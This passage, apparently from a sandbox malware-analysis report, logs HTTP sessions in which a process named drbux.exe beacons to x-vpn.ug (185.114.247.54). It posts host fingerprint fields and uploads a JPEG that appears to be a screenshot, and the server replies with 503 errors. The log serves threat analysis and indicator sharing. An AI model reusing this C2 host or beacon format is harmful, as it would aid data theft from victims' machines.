Jul 19, 2021 18:35:38.233021021 CEST	3880	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:38.233233929 CEST	3883	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:38.233620882 CEST	3886	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:35:38.524545908 CEST	3951	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
300	192.168.2.6	50059	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:52.084434032 CEST	20222	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:52.163664103 CEST	20249	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:52 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
301	192.168.2.6	50060	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:52.350493908 CEST	20309	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:52.428567886 CEST	20310	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:52 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
302	192.168.2.6	50061	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:52.480133057 CEST	20310	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040 Host: x-vpn.ug Content-Length: 96659 Cache-Control: no-cache
Jul 19, 2021 18:36:52.480169058 CEST	20310	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 33 33 38 62 37 34 66 37 35 30 62 35 30 34 65 36 30 64 64 39 66 66 34 31 61 65 36 33 30 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------d338b74f750b504e60dd9ff41ae63040Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:52.480186939 CEST	20320	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:52.480211973 CEST	20323	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:52.558898926 CEST	20324	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:52 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:52.559461117 CEST	20326	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:52.559578896 CEST	20329	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:52.560012102 CEST	20332	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:52.560405016 CEST	20335	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:52.560580969 CEST	20337	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:52.560952902 CEST	20340	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:52.561074972 CEST	20343	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
303	192.168.2.6	50062	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:52.617274046 CEST	20350	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:52.696671009 CEST	20401	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:52 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
304	192.168.2.6	50063	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:52.901813030 CEST	20410	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:52.985397100 CEST	20411	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:52 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
305	192.168.2.6	50064	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:53.009901047 CEST	20411	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040 Host: x-vpn.ug Content-Length: 96659 Cache-Control: no-cache
Jul 19, 2021 18:36:53.010046005 CEST	20412	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 33 33 38 62 37 34 66 37 35 30 62 35 30 34 65 36 30 64 64 39 66 66 34 31 61 65 36 33 30 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------d338b74f750b504e60dd9ff41ae63040Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:53.010257006 CEST	20422	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:53.010395050 CEST	20424	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:53.088346004 CEST	20425	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:53 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:53.088649988 CEST	20428	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:53.088839054 CEST	20430	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:53.089175940 CEST	20433	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:53.089437962 CEST	20438	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:53.089526892 CEST	20441	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:53.089756012 CEST	20444	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:53.089998960 CEST	20445	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
306	192.168.2.6	50065	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:53.177257061 CEST	20499	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
